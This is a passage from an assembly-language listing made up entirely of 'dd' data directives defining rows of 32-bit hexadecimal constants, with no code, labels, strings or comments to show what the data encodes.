22AA3707h, 656660E6h, 74E93E8Fh, 58D63A70h, 0B7EC7000h dd 78A20654h, 0C350071Fh, 0D04BFA2Dh, 0C0B647D3h, 2E3A215Ch dd 71EC834h, 0AB9C04FDh, 13808990h, 7BBFB0h, 6FFE0FC5h dd 95A32C03h, 0DA00109Ch, 0FD6EF7EDh, 5D530280h, 0FE96053Ch dd 2F4EA480h, 0D500FCB8h, 89FCD73h, 39950h, 0D8D1DD34h dd 2E49590Eh, 0B3BF0D00h, 78B64D2h, 738E3D80h, 800E4E96h dd 0F3972A28h, 0AD8F5800h, 715084C0h, 23E70266h, 14E873E0h dd 59326CE8h, 29198305h, 9B018CCh, 8036004Bh, 0F3B8B4E2h dd 0DE0B2C3h, 0C9AEF000h, 0D1D93C19h, 8CA1017Eh, 7DC19010h dd 33A0EF67h, 9B7F139Dh, 23E5BB1Dh, 2E47817Fh, 42733B37h dd 4D5DF8FCh, 0F9007043h, 0CF0E2A4Fh, 0CE589811h, 3A913E2h dd 0FC0D6CDCh, 1FC47052h, 721E864h, 33D7691Fh, 30E976ECh dd 571CC82Bh, 6DC1E100h, 0A74DDB18h, 0E17BB074h, 489C70h dd 1478347Dh, 916B4E0Ah, 0F128F074h, 0D026CFA8h, 89003498h dd 71967941h, 0A2690FFCh, 5440EB58h, 0F56BB680h, 0ADC3D00h dd 97AFC262h, 7F40CEFh, 95B8862Fh, 7AF6ED03h, 0C6C18532h dd 0AE088021h, 0F5EE1896h, 94A83101h, 0C9B2EC02h, 78A2171Ch dd 1FBC0788h, 80256BBBh, 0F42790F7h, 0B3E89DE8h, 60211448h dd 97AB21A9h, 0FCF807EDh, 49D8EE2Fh, 1810F488h, 13A64027h dd 6E646500h, 11CE687h, 767721Ah, 9454D5EFh, 6D301119h dd 1C5C6098h, 1FC04B03h, 0A8A04897h, 0C0A73E24h, 1C59BF51h dd 9400295Eh, 9C60E9F7h, 0E2C0BB92h, 0A32B0016h, 1548EF17h dd 0F62ABA11h, 5A406865h, 0EE8780E4h, 7EB53Eh, 0D953AFBAh dd 0E44943C4h, 18E30034h, 0D61260A3h, 963A92BCh, 0BBB9002Bh dd 678D270Bh, 25DD008Ah, 802DE7B8h, 2FF472C9h, 0B178BB00h dd 73B956C0h, 0B06C0082h, 1151DF18h, 0EB0080C6h, 0FE9D67C1h dd 874ACEh, 7FCAE260h, 8B846A93h, 0D046A9C0h, 0AF1D51h dd 9BAC0E48h, 0C5A65E2Ch, 0A2540B78h, 0BA006084h, 0C0D3E45Bh dd 9BE21Ch, 66A8C95h, 0A00F2598h, 0C6DC29C0h, 0F279156h dd 3F68F7CCh, 0B1D40839h, 9D568C21h, 21600DBh, 0B8AC6528h dd 5A0D92B7h, 58F27FEAh, 30BFC1C1h, 77901D8Dh, 98B18F20h dd 8C13093Dh, 0FAF31177h, 1CC50161h, 149CC083h, 0E90898ABh dd 39BD821h, 33025561h, 49039186h, 5BF70B28h, 632E88BAh dd 4D5A0318h, 5C0462BDh, 15687064h, 3B619560h, 448C1C75h dd 9D00DAECh, 8EC5E561h, 37CDA1h, 0EBF12376h, 689BA27Fh dd 83DF1A3Eh, 0C9BC8E98h, 38CEBBh, 5F175493h, 0FCE8EE2Ch dd 0E0F79719h, 21815008h, 0DB5FEFB7h, 73DC8CCh, 0C7967300h dd 795BE011h, 3660C0FCh, 0B5527593h, 1710ED63h, 2CB38153h dd 83E4E8h, 33C0C184h, 0CF1AE70Ah, 4FFB0C00h, 2CA30280h dd 0A98A00FDh, 1082A2E4h, 7600E77Fh, 31DDED84h, 3E34C5h dd 4D1F7223h, 0E6473815h, 0AD0AD200h, 587424FBh, 0EF10085h dd 4E3BC2CDh, 0BC00046Dh, 0E68DF8AFh, 7758A5E8h, 0F1B33961h dd 0C4069B00h, 4E9AA0EAh, 2D0DA100h, 0B8EBA6BFh, 867DBBh dd 63E40ED0h, 0A8A29344h, 0C400C0EEh, 30B76F16h, 7AE964h dd 2B714519h, 0B6444AA0h, 8807D37Ah, 2ABE18BAh, 0B93703C0h dd 0C4B10080h, 8EC0E205h, 50704AEFh, 87B8D01h, 0A1884BB8h dd 0E8ADC120h, 0F22A0BB3h, 1487C330h, 82498CCBh, 23DEB00h dd 35AA72A7h, 1D07331h, 0ECE84DAFh, 0F0703B0Eh, 33B006C1h dd 9D24A40Fh, 933805ABh, 893E6C80h, 0EC0718A3h, 5999282Eh dd 9C8C6C0Ch, 0B3601Fh, 0E907D438h, 0C8780840h, 0B037BC07h dd 0C03710C7h, 0CD1C31F0h, 54A50605h, 39189B7Ah, 202D5000h dd 709D2335h, 1BF93FCDh, 59F77600h, 7A13C1Fh, 91787C60h dd 559B81h, 40ABA362h dd 0AD06CAF5h, 7DB5E800h, 0E3FE704Ah, 673016AAh, 722B0511h dd 0C600AB38h, 0C8BFA4F2h, 2635008Dh, 59A5D019h, 11006A01h dd 9539EB8h, 52B6CCh, 0ABE60F56h, 4B6383D9h, 764F6A00h dd 1FBB9BF9h, 8839CEC5h, 0ADE0408Fh, 0B2E81526h, 9B79A77Ch dd 119440Ch, 0FC28C0h, 0E2E7A35h, 4F2F1EC5h, 0E202490Ch dd 7BD0505Bh, 0C3B70FC1h, 0D28071BAh, 25C4F211h, 0B6406B07h dd 12008614h, 28B43C55h, 12C2EBEh, 0F88FAC92h, 0C49B494Ah dd 0A2374D7Fh, 0D3D0685Ch, 0C7B2A10h, 8B298DB4h, 666EC0B0h dd 15988088h, 4148E82h, 0B4E5841Ch, 57E2C0EAh, 7D2788F9h dd 0C5DE26h, 1186DD38h, 0D30F0D62h, 0E05824CCh, 7059A44Eh dd 0E00B7845h, 0DC9F00C0h, 2FAC9546h, 7805F9F5h, 4EB1E473h dd 0C3149C82h, 956BC0EBh, 889B0027h, 0B078156Fh, 8CD0577h dd 102021F2h, 6FC7019Bh, 0C3235093h, 79B1F4CFh, 0FB51CD0Eh dd 771038C8h, 15E80093h, 319FACADh, 18C6F337h, 3482BC0h dd 6EE55322h, 103FD3DCh, 0FA778CF5h, 60CC69F8h, 1AF619D4h dd 910306BCh, 0DE4255C9h, 0C4F0A88Dh, 0FA1630DDh, 0DB93ED31h dd 0AE3A7400h, 0FEC2E702h, 44AF1DCFh, 30C1C6FDh, 0DF0080FFh dd 736CE43Ah, 6766ABh, 17A45AE3h, 88F5F6D0h, 10F4F300h dd 722B650Ch, 67CA0093h, 5E1877AFh, 0FBEC6ADFh, 0E33E430Eh dd 0AEA060BCh, 3AB115h, 135720F5h, 0A79F31D0h, 1E073B00h dd 642CE4BFh, 38990015h, 0FBDB5112h, 55009CEDh, 0CF0ABBCCh dd 30A3549Eh, 0D84026E0h, 0D3030F40h, 7773DB11h, 6009F6CCh dd 2760213Ah, 3600CED3h, 0A4990A17h, 0F3778Ah, 0D8BF2324h dd 98CD1220h, 18E24410h, 6051EE10h, 0C8382041h, 20376004h dd 6AC2D4F1h, 1852DD80h, 29B00D35h, 0A500ACB7h, 2CAD324Eh dd 0CC55CA28h, 70214D08h, 5EA5A400h, 9B7537C5h, 2BF80085h dd 1091F994h, 2803C615h, 60B60A38h, 0C181C65Ah, 1C5F50F0h dd 0A180404Dh, 0FC033E97h, 5228F9A5h, 0DB0BC8DAh, 0CAA90356h dd 22FE4726h, 0D84F81E8h, 40DC8C00h, 48F77595h, 9EFF0078h dd 549F88CEh, 8F00ECFAh, 0A634F120h, 4D65A1h, 9C930862h dd 942F3CBCh, 10EBB700h, 0D7B980B8h, 0ADD0006h, 75092338h dd 0BD1C5B0Ch, 4480BC8Bh, 0CA1052FBh, 0AA3000F8h, 0FE57BBE0h dd 0F30034F2h, 0BE47D9B4h, 9AADB7h, 3FE2E5F7h, 3CF8467Dh dd 80C7913Fh, 640DCA08h, 1A73DC25h, 1199342Dh, 8610417h dd 1080147Bh, 4B1945ACh, 0B00B167h, 0F79A96Dh, 63DD59h dd 78AA660Ah, 0E6935C18h, 9E387A09h, 0CE1C8070h, 3D7260h dd 279279Bh, 5E1918C6h, 25008BE0h, 80083EC7h, 0D6EDACh dd 0B0A80523h, 3B47A7A1h, 7038B700h, 0F006FED9h, 0BDB400DBh dd 0E44E2881h, 420330E1h, 0ABC8C4EDh, 2DA4907Ah, 0EE5C002Eh dd 211FFEF0h, 0AC03B630h, 87994776h, 0A3C8F8A0h, 0A1D61E48h dd 0C0045CDFh, 7BBDE418h, 4500D8F0h, 82A44F4Ah, 0DD2FF180h dd 0F77D805Eh, 0C33FA213h, 0D22D4B2Ch, 8835A500h, 7A443003h dd 96E800F5h, 15AD671Fh, 3618BDE1h, 8D24CCC2h, 0B1EF00BCh dd 3BAAEB59h, 6918E47Eh, 7A26B3F3h, 88EA019Fh, 0E5F6AED6h dd 0FE63701Bh, 0A93CC71Eh, 8C80B51Dh, 94F087E8h, 9BA101CAh dd 9A4BC2BAh, 0AE77D8CFh, 0DC334E00h, 1CDA9507h, 30D03C3h dd 560A0426h, 0D6606F91h, 0C088CC63h, 6900DB4Bh, 0D7A0E74h dd 78D6DE75h, 66330314h, 3BBB6F4Fh, 2C452900h, 0E2B14880h dd 9CD700BDh, 0A8DD5557h, 1500C876h, 0AC9E3EC3h, 18E092Ah dd 1359BFC0h, 0C75072F4h, 5AC0C6C3h, 0A0004365h, 74DF545Dh dd 255EC7h, 0B39933DAh, 0D951C082h, 7D3C5578h, 0ADB4D0BCh dd 0ABCC81C0h, 163C7F4h, 0A64C53D1h, 802562E6h, 9FCA8A3Ah dd 0D7DFE3h, 0B1ECCEEAh, 0FA8C85FFh, 0D33EB500h, 37BB3CCAh dd 4B540AADh, 83F414CDh, 0F0AFCEBAh, 0AB7EE1A8h, 78344C24h dd 2774A980h, 50C6E582h, 144C0ECh, 0C52CB09Ch, 2480F68Eh dd 0ECF2FE40h, 10B29100h, 6F6B843Eh, 0B3750C25h, 0CF96371Ah dd 4FA69601h, 0BEAF1298h, 564BA040h, 0D3FB00EDh, 9CE7AAB5h dd 4000E68Eh, 4414B776h, 3FF21FEh, 92118194h, 0CE80197h dd 0F700030Bh, 23F5CC0h, 639D57B0h, 0C11450BFh, 0C3F99C80h dd 37EC96C0h, 0EE15D6h, 2F25E520h, 4279719Eh, 2AA3730Eh dd 0D1E2E5A9h, 431F8C01h, 78200B30h, 76151CF8h, 361C01Ah dd 9BD0A8A0h, 0C95A3100h, 633979CCh, 9B10740h, 907AAF15h dd 0C633B421h, 0B36F3C1Fh, 12DC6181h, 5B30B044h, 76090014h dd 4F29231Bh, 0A7050248h, 0C45173D8h, 0B149E300h, 3D9F3BACh dd 0EBA485B9h, 0C0E41D28h, 848DC03Ah, 0D1488012h, 8272002Dh dd 66958BF5h, 55A72422h, 1D06007Ch, 0EE120E11h, 0C338AC05h dd 0D80F9C4Eh, 0B8F2A0D7h, 8FF341h, 5432BA26h, 95F0F551h dd 3101137Eh, 0FDF45263h, 0A2CC4294h, 0E2B628A6h, 41D809E8h dd 0B980AACFh, 0AC20A5D1h, 0BC4C5500h, 0ED81371Dh, 0E38A098Dh dd 18000ED8h, 0B1B4DDADh, 8B091AEAh, 0D1D6AFh, 0C2A8515Ch dd 589516B0h, 0B50A0EE8h, 718AEBC1h, 767B60CFh, 85D17500h dd 8442E4A8h, 8E7583h, 0DEFCA144h, 0D62ED223h, 7399890h dd 0B0050E61h, 7BB5E579h, 0A12CA283h, 9D601E2Ah, 2EDFCFh dd 0A4EC1C30h, 5A00D1CCh, 0F4546CEFh, 3DE57D7h, 83C1AB4Eh dd 9991A39Ah, 54D88111h, 8B4373A8h, 2B24FD0h, 34BF2DCBh dd 0C8882Ch, 22031971h, 55C3E726h, 0DA82C89Ch, 0CE90163Fh dd 0C3D61E86h, 0ECFDE549h, 0D9278C99h, 43E84011h, 0F000EDEAh dd 0D4FC4ADAh, 71B05E59h, 828D00A5h, 5A8E44E2h, 5C0075FDh dd 0F493F52Ah, 12D1DFD4h, 0BE7BEEh, 398C2EFAh, 0BC00A177h dd 0BA16AEFAh, 906EE4h, 3A5BDC3h, 726B7945h, 0C00CDD58h dd 0D5A1ECE7h, 2F892F1h, 0FB56A995h, 0E600E016h, 1FE3D84h dd 487B5E9Eh, 8050C72Bh, 632A35F1h, 0DA5A1Ch, 0F4764A97h dd 0D20C56C1h, 0C0677D03h, 0FFC873Eh, 9F958D88h, 5C1E4F40h dd 9B01859Dh, 189AF6A9h, 4864A8CFh, 4C4737C6h, 8AFD70F8h dd 420075F8h, 0A7A8B745h, 4AAD786h, 14C0D3F1h, 90EC8040h dd 300BAB2h, 0C2913166h, 48E807BFh, 6507B839h, 20A7D789h dd 75663799h, 0BD63CF00h, 0B4392B45h, 46A20027h, 55EA2E3Ah dd 280084CBh, 0F6F0D07Dh, 0E422904Ah, 0D93900F9h, 2B89C343h dd 0E7009953h, 5E4ACDBBh, 7C795ABh, 7630573Ah, 7CF340B1h dd 3278250Dh, 85A2B51Fh, 361B9440h, 0FFAF1A4h, 0B0A07F17h dd 84A383C0h, 483B413Bh, 59C980A7h, 0B867AD58h, 6B0B008Dh dd 0DC95809Fh, 4F6193Eh, 4D056200h, 0B42C9B14h, 662500FCh dd 8524D1ACh, 0BA00D234h, 0E8B0955Fh, 6E37B9h, 7BD8A48Eh dd 233BF986h, 46709200h, 6B0F6031h, 0A393010Ah, 1C5107A5h dd 0D3160ADh, 155D1606h, 0EF78EB9Dh, 736552FCh, 1A2800CCh dd 0A3DB7B5h, 5E0046D8h, 0C3DF0CC7h, 0FCBD7CAAh, 0AE291C31h dd 1AB280F3h, 424BB49h, 71932100h, 0D50E1D53h, 954E00A7h dd 1365DCD2h, 6B00E1A0h, 3C7320DEh, 3C075671h, 8011BFCh dd 44D44957h, 0F08F3113h, 0A478B85Ch, 2D956300h, 0F7283853h dd 36C9009Eh, 0E7E096Fh, 5100CEEFh, 6123497Bh, 0F69C25B7h dd 54DA000Dh, 3BB984D1h, 0AB0116A7h, 6F8D563Ch, 0DC741892h dd 0C2F900F8h, 0B045D61Fh, 0B10003E6h, 3859D9F5h, 0FBD285h dd 9702CE88h, 0EBA319C9h dd 3AB63F5Ch, 0A0A22C67h, 800EDD8Bh, 946257F2h, 7030E522h dd 0E4E307B4h, 8093B7F5h, 0B5851FCBh, 9684B33Fh, 0AD0EA4EDh dd 9AC120FCh, 0ACB974h, 1CBAFDF6h, 69C8FE1Bh, 5F5039C7h dd 1E19B9C0h, 0A0EA0038h, 0F7C196CEh, 4A00A920h, 46E8397Bh dd 785956BCh, 3DA13B92h, 586F9A00h, 23A8E78Ch, 0B7D2C216h dd 475A0C02h, 48E068CDh, 2A87038Fh, 62D968B1h, 24D4EF90h dd 60496D00h, 51D0B63h, 82B90042h, 5385A4EEh, 0BC003C23h dd 0B01B39D2h, 266CE736h, 68E298h, 3893500Fh, 0B0A13069h dd 7B1F7054h, 898ECA0Eh, 0A8894Dh, 149E4028h, 0A03A00B4h dd 2A47ACE2h, 7400CE28h, 0EA766978h, 745612Fh, 3075656Fh dd 0A1F2E007h, 5B00CC77h, 0BB19FB94h, 55F552h, 0CE72FC51h dd 1F146517h, 0FA0EC509h, 79B80736h, 297FDE60h, 593012EFh dd 0D8700051h, 0E4B94719h, 380AA01Eh, 20CF79CEh, 0B8787FCEh dd 40130057h, 1F3545BEh, 66003A96h, 0DB513F80h, 1FD5DD59h dd 1A3103D8h, 574069D6h, 14003925h, 5A4C9D7Fh, 7EC989Eh dd 1A360DBFh, 804B70B7h, 0B31D8F2Ah, 7CC0D8F6h, 8ED12070h dd 12190047h, 0A60E31F5h, 789F2B02h, 534A1C66h, 68007861h dd 5A791D7Fh, 5C00A53Ch, 1A0C5FD8h, 1C1337Eh, 1B6E2D21h dd 60CC4241h, 0E6F2B0F0h, 80B2AF3Fh, 3B23FC20h, 70964308h dd 6C700010h, 247132ADh, 0DD012CF4h, 610B3A18h, 3060CDC4h dd 39230026h, 0F2336956h, 1298CA17h, 0E500B2F8h, 65D91AABh dd 1246AA3h, 0F99E514Fh, 0F8BC1CD5h, 0F104C8EDh, 0DD4CA514h dd 0F20A487h, 281A2D47h, 0F34B2Ah, 7A22FF0Eh, 38EF3B7Fh dd 0A510900h, 33576BC9h, 0CD7900CBh, 989A8D55h, 9893EDA4h dd 86FE8E07h, 899463EFh, 939598CBh, 19D900FDh, 2CE142E3h dd 86008FC4h, 4CC9571Ch, 485ABEh, 0DC14538Eh, 238BAE61h dd 8AD8A000h, 0E2B2DE25h, 975E00BFh, 5A962D5h, 9B58AB7Fh dd 0F91E0005h, 0D3410B7Dh, 0DEDC004Fh, 0BA9EE301h, 0FE0029F6h dd 563BC69Bh, 190BB3Dh, 0FD6CA7F1h, 205CD787h, 0B600F485h dd 9AD4C2E0h, 155D21Dh, 0C81CD857h, 3068A88Dh, 0B93B5809h dd 0C2ED80D3h, 0DAF6D9A9h, 1353E649h, 400C8690h, 7E77DF54h dd 890072E9h, 108280EAh, 749B5AF2h, 4BD607AAh, 198830E7h dd 58005CDEh, 0A1F5E95Dh, 2C5E0086h, 0F997CB67h, 57008AADh dd 9A306139h, 18BA4EAh, 26F0275Bh, 805820B5h, 92B28070h dd 2C34E7B1h, 80FC513Dh, 9E820EB5h, 7C7CDF0Dh, 130DA074h dd 2051CD24h, 6F0BE7F0h, 1200B09Dh, 1D81B01Ah, 0FF64274h dd 3765F400h, 64E9A1FAh, 69D04C3Dh, 0AB0E161h, 98698052h dd 55AA5946h, 0C28E035Ch, 7BA896B1h, 18A426B2h, 4EF027D8h dd 0C19A8559h, 298E938h, 7A444737h, 5E960C60h, 90073828h dd 0B0C01F5h, 29D8A650h, 0EBAC0089h, 24EDD05Eh, 570F742Ch dd 0E036520Fh, 0FE7B040Bh, 0C8B5CEAh, 0C0ABEE00h, 0DF4E6AADh dd 0E4296B2Ch, 0F10BD200h, 39408F36h, 0B4800269h, 81AA5895h dd 460062BEh, 0D79CF0CEh, 5EB7C0h, 0E2F81836h, 1CEE9D28h dd 0A960D600h, 685D8511h, 399207DBh, 43595A5Fh, 50E88C66h dd 9F122534h, 0E0002EB3h, 351FE998h, 8B530208h, 397C5D9Eh dd 0E14590A0h, 0A87B8C12h, 0B050730Ch, 0C97B0852h, 0ABD86521h dd 0F4027100h, 0B380CEBAh, 74F503E7h, 0E5B71D49h, 81346FA8h dd 0F3A0B850h, 0AA960D3Eh, 390BAC9Eh, 76BA11A7h, 24993BA0h dd 80C50892h, 11A15B21h, 0FE3D67h, 825F9910h, 0C116A314h dd 0C36780Ch, 41016851h, 2599810Fh, 49C8C11Ah, 9FE209Eh dd 301035E2h, 0DF398244h, 4CBC24ABh, 874E70Ch, 9D21C75Bh dd 8E9FE08Ah, 5400D172h, 0D9E479F5h, 40975Dh, 0A825CD2Ah dd 98584422h, 8364B709h, 6D6C4876h, 0E3F63E8Fh, 9D598E83h dd 8379ED0h, 96F02167h, 173A5F6h, 4B4A8D6Ch, 0BA9F0865h dd 1BCE00B9h, 0E4C1A9C3h, 2861E002h, 0C9C4CA8h, 6970C705h dd 0CE7216E8h, 0D6292800h, 0E838110h, 0EC2100FDh, 866230ADh dd 1C021166h, 6C501794h, 0AA7360C2h, 2760137h, 0DDED3B05h dd 0CC5AD4BCh, 9928C300h, 3E3D04BAh, 0A05B388Ch, 0D766B10Ch dd 8A00015Ah, 5FC8BEC7h, 22898Bh, 0ABC60C95h, 9AAD2A5h dd 28825730h, 7CF88C4h, 37FFBB53h, 0F38380E4h, 0BD7F4C97h dd 0BA661E39h, 7EB07C61h, 0B7550601h, 8C9C5AAEh, 0A82F4180h dd 6ABD5B78h, 0CD3EA4EEh, 632400B3h, 0EABB1BB6h, 63890ADh dd 36FF118h, 0C2F858A5h, 4C95AA0Fh, 22BAC07Ah, 5319Ch dd 0A5CF1F50h, 907F74C6h, 47606F2h, 830BF07h, 1C803F52h dd 38E703Eh, 0D864838Fh, 18215350h, 790900C4h, 3B60A6CCh dd 2C988A8h, 6C85F6Fh, 0F908EA11h, 0D8DBD080h, 0BEE2A588h dd 5D004377h, 2E4FD262h, 6093F5A7h, 0D74BE9A4h, 49003675h dd 0D95DF176h, 3EE02F4h, 6744E90Ch, 0F2B29482h, 9300A88Fh dd 39580F60h, 0D3BB9C01h, 257CAE30h, 0C745B1FBh, 1E370D20h dd 0C01DA44Eh, 205B117Ah, 0EA0097F2h, 0A8D96B07h, 0FAE7273h dd 39B9ED53h, 41F1E220h, 0C77C442Fh, 0DF51630Fh, 0C60D8738h dd 0D5C01097h, 73B1AFA0h, 0CA788Eh, 0E583D447h, 0BFA4DF54h dd 0D56A1906h, 0B31C333h, 0BB2D9446h, 0E5019F00h, 63763104h dd 0D4C87218h, 516A9h, 0CABD64E6h, 7A0E036Bh, 4ED09807h dd 6320A456h, 319449D4h, 3D48B4B5h, 60A6DB5Dh, 0F382AD01h dd 0DAA2729Ah, 60E7C2E1h, 42A75818h, 2730AC41h, 5C90389Fh dd 0CBB7309h, 0DC45C255h, 29002781h, 59B60860h, 618744h dd 4D9040D8h, 0A413844Ch, 0BADF433Eh, 322F0091h, 2EBBE6C5h dd 0DA5900B5h, 51EF7340h, 9E3E04CDh, 9CEC9EA1h, 67CEC300h dd 0C750B1Dh, 6BCFF25Dh, 9F60CA09h, 1D4E2E20h, 0AF7C00ACh dd 4DC0CDF7h, 6300E1EBh, 93D501CAh, 60C2B991h, 9E950EEh dd 36099D88h, 0F48456CDh, 0F0DA0EF7h, 395244A0h, 0FE504EEBh dd 807E318h, 50DB72DDh, 214C5531h, 21D70898h, 0DD002E0Dh dd 88760FC6h, 175A3E1h, 854CFDF8h, 70098E5Ah, 8C7AD54Ch dd 3DF760C1h, 6891519Eh, 0DD34804Ah, 8C70E4A6h, 1CB44h dd 0BC89DD3Bh, 8E746509h, 155A643Eh, 694E2B4h, 0CFFC57EEh dd 562D0031h, 9116ED29h, 28C33B32h, 1F33D057h, 70857C21h dd 77B90E39h, 0F6C86600h, 0A0418313h, 0C2B11016h, 0D5D302CCh dd 0A745E068h, 0A0A36790h, 5AD000F3h, 90F8D4ADh, 0D300CC3Dh dd 8AC8747Ah, 76C166h, 4216886Bh, 0FF98C214h, 0C7EE3Dh dd 54D5AA85h, 76A115h, 0BE37C8E9h, 1FA566DCh, 0B358B000h dd 0CAD51ADBh, 8791C1Dh, 80395D6Dh, 0F9600E61h, 4E2E94ABh dd 0F6002EBDh, 133E07CBh, 0E3951D92h, 5CF347DDh, 0C5C38015h dd 0D107586Bh, 0FEB0B9DAh, 13596E40h, 732E5C2Dh, 9C7F0773h dd 46410630h, 0BE0E21F8h, 201F2B15h, 4474B6E2h, 98E467F1h dd 6EA1BCCCh, 71B05706h, 119C05h, 0F19A81B9h, 62E6AE1Fh dd 0E785391Dh, 5F21A418h, 35A5004Eh, 0B5BB83F0h, 580F8C5Ch dd 43AA569Ch, 1A8B08Bh, 7CB22E81h, 20D9860Dh, 0C500BD62h dd 264C5B8Bh, 0FDCA142h, 0A7883A24h, 2F026A01h, 0E88046FAh dd 2203BE46h, 63D412Eh, 20EC329Ch, 1D2B0A73h, 0CABF2C00h dd 1FCF3C47h, 5EB00656h, 10DCEA31h, 1DF3370Fh, 0EBFE4050h dd 7B4B7758h, 0C32032Fh, 8FBF27D4h, 0D46B60D1h, 0A9008CA7h dd 0FCAF0F15h, 0F45FC9h dd 3250B007h, 9D475BDDh, 831C9CEAh, 300494Fh, 54ACDA1Dh dd 79FF00C3h, 73E32F60h, 3B002E06h, 2B51E59Fh, 3FD93A3h dd 98C5B91Fh, 2F980E68h, 9E078C30h, 62A41125h, 0C38B8570h dd 0B8FC0180h, 0CEF733C8h, 40D3D069h, 0EE0001B8h, 624B7FE6h dd 7522A1h, 66A5DE14h, 5188B117h, 7FABC001h, 40F4F185h dd 0E31E3D4h, 0B7F7C41Fh, 3604A920h, 0D648E632h, 23E50E39h dd 583B2024h, 0C705101h, 3AF94079h, 0E460D008h, 58344720h dd 0B1560091h, 0FA6133C1h, 420CBAD3h, 505C60E1h, 2E048C0Dh dd 68510258h, 0E38861h, 5807A6h, 0D605D833h, 0F510B677h dd 7C93A800h, 0FA669A65h, 42E006Ah, 0C330F1E5h, 24651B8Eh dd 75C00310h, 0C67D272h, 1C9BF780h, 25604108h, 0C7F41A20h dd 87CD00D7h, 62A9A4CFh, 0F906B845h, 6E8E04E7h, 52233C29h dd 617D080Ch, 58008411h, 0E8AA27A3h, 3AB326DAh, 4931D9A1h dd 0E4C3FD21h, 91EA5BB8h, 4C25BC00h, 0B1E4DEE9h, 0A02260C6h dd 1DB2BFA1h, 0ACCC6007h, 0F860F921h, 4D0CE1h, 7AB83AAh dd 63C5C9CFh, 4A185C76h, 5F09155h, 0C33530EFh, 0E97CA718h dd 33B45E50h, 0FFD12D1Fh, 0EF020C22h, 5F10FBBDh, 0B073A400h dd 76872D3Fh, 0D1A0045h, 1B9DC2C9h, 380A3E8Eh, 0D349595Ch dd 925414h, 68C25E6Ch, 9DE49Fh, 9B4E3804h, 53EFEB14h, 0ADFF6D00h dd 3262771Ch, 24210356h, 79893135h, 0D82791B0h, 8352293Fh dd 0DC2D051Ah, 0A9C4D873h, 0A6D70013h, 0B2111796h, 4800151Ch dd 2FFC8D87h, 0E6856733h, 2102005Ch, 763E7A39h, 0CE002D14h dd 5FF3A59Dh, 74568EB2h, 553900C3h, 0ADE68B94h, 2124E7B5h dd 3300EDF0h, 83C7FF26h, 0ACEA1CF8h, 35980EB4h, 0C10DF1E1h dd 6F17E74h, 74366130h, 3012000Bh, 64519B1Dh, 0D002B48h dd 23B4B984h, 1316B304h, 0E2C97F4h, 0AD20785Fh, 3F502FC4h dd 28DA8C00h, 0D98503EDh, 38F00142h, 75080C62h, 378BE87h dd 31185FB9h, 0B18006Dh, 924C14Ah, 58C0120Fh, 29F1F61Dh dd 83720051h, 84379ED3h, 353AFFBFh, 0C2129C54h, 9391EE0Fh dd 46CFF400h, 303AA098h, 87187621h, 9F6F0407h, 0F39E071h dd 3CA335E7h, 0AB078CC0h, 488F0C9Ch, 0F5D1B00h, 3EC4415h dd 0B9593280h, 0F070B889h, 0B66034F2h, 6D1825B9h, 80F060Eh dd 18B8709Dh, 2C35DC01h, 4C2A885Bh, 0E4B17C8h, 53126A37h dd 7F44DB40h, 59002F24h, 0BFB43A69h, 27A1D16h, 50219D6h dd 0CAE02741h, 84008C01h, 64F94A1Eh, 1F557Eh, 6E67915Ch dd 24E34B6Ch, 0DA455Ch, 2F784AE6h, 3ABDA9Fh, 0FF7B2BBEh dd 57B83BDEh, 76181E23h, 4B4048C9h, 113107B5h, 1430D15h dd 9838344Dh, 4F219E08h, 561100AEh, 8D0745CCh, 0E4E88CC8h dd 4E5B5700h, 30245541h, 5990C449h, 0DD0B802Dh, 99008AC0h dd 4A7705FBh, 6917D9h, 0CC86F258h, 0BED74556h, 0C9901C6Ch dd 1798C44Bh, 112830C8h, 0DB0D236Eh, 802B911h, 56D11D4h dd 7066FEC1h, 560116C4h, 612BAFFh, 784E7C99h, 14C09C88h dd 1F929AB5h, 3A29B23h, 0CA58E7E4h, 1D82F801h, 3878BFC8h dd 754C7070h, 128000A0h, 2A0260B3h, 251D303Bh, 9F00F3FEh dd 0F53E9C8Eh, 0D7951EAAh, 0BB654047h, 0E33F4DCDh, 0DA789600h dd 0A9811230h, 899A00E6h, 154101C9h, 0FE002B5Eh, 20752819h dd 7D263Dh, 67439FA1h, 0D945775Ch, 80B2473Ch, 801523B5h dd 3F712F2Ah, 0F480E295h, 8459229Eh, 4907F055h, 0D5C53251h dd 46720DA0h, 5BBA389Fh, 8623A980h, 549563E9h, 3D0362E8h dd 79EFF32Fh, 0B82CA3C8h, 86FE69h, 8BC0200Bh, 97210F13h dd 0DF0FB0F6h, 0A0AA2FDDh, 7A78F547h, 0A600187h, 0C3C42B1Bh dd 80BBF9D7h, 0D4FC9FA8h, 0EB9CE42h, 0EB723A67h, 220E9B80h dd 4C1BAEB0h, 0B13911h, 0DA278040h, 7EBC77FCh, 0A2F4A00Dh dd 0B2F02023h, 4819C3F2h, 6000BAB8h, 951B3BAEh, 79A4E292h dd 0C145FED4h, 58D77FE6h, 5AA7F42Ah, 4CF47A00h, 544F6B18h dd 0D91020Bh, 0D922D41Bh, 0E0A28BC0h, 0EF73DE0Ah, 200CA92h dd 0BB12FDA3h, 1DDD1C36h, 63A14084h, 1C3B16F3h, 8141BA0Ch dd 7C9B1050h, 19C40025h, 0D95139BCh, 0DBE1E91Ah, 0ECB8A3C3h dd 0E80896E7h, 7331D65h, 80EB6F7Bh, 94B45012h, 0DA97A700h dd 0D94BF8C1h, 9251300Ch, 18690530h, 0D7A5360Eh, 0A148665Ah dd 701F838h, 318DA414h, 411045D9h, 0EBD19E18h, 5F006A28h dd 0B9090CA3h, 9D450094h, 9A76F94Bh, 80038A39h, 903FFA2Ch dd 0C04F0F0h, 0BC791Bh, 0B265D1B9h, 32C9E1F5h, 0E90A1C16h dd 0FB394E00h, 7321F24Ch, 5C160009h, 0FA0DB805h, 44C6A38h dd 899D31E1h, 50800262h, 4BE5CDA3h, 0D6180C61h, 7D69A944h dd 23890E62h, 7BE02C93h, 26D7B0E9h, 7145DC00h, 0A3C8AA6h dd 0C6A10B31h, 96017A1Eh, 0F4A09222h, 0BD0164AEh, 75AD13BCh dd 0D3F0F455h, 0C395004Dh, 783F1088h, 6F00B0Ah, 0C8E5E900h dd 0AA779057h, 91C5009Ah, 0B28B4AF3h, 0E97D7818h, 0D5CFF405h dd 0E5C06DE5h, 0AF354Dh, 0B5841FD7h, 7DB4554Eh, 0CE00D0B8h dd 16E9945Ah, 0FD7DC4Dh, 0B196FDE5h, 0CFD66501h, 0B050820Eh dd 40733B33h, 0C32A23h, 9844871Ch, 0DB387D2Fh, 2347F00h dd 6B829BECh, 886D6178h, 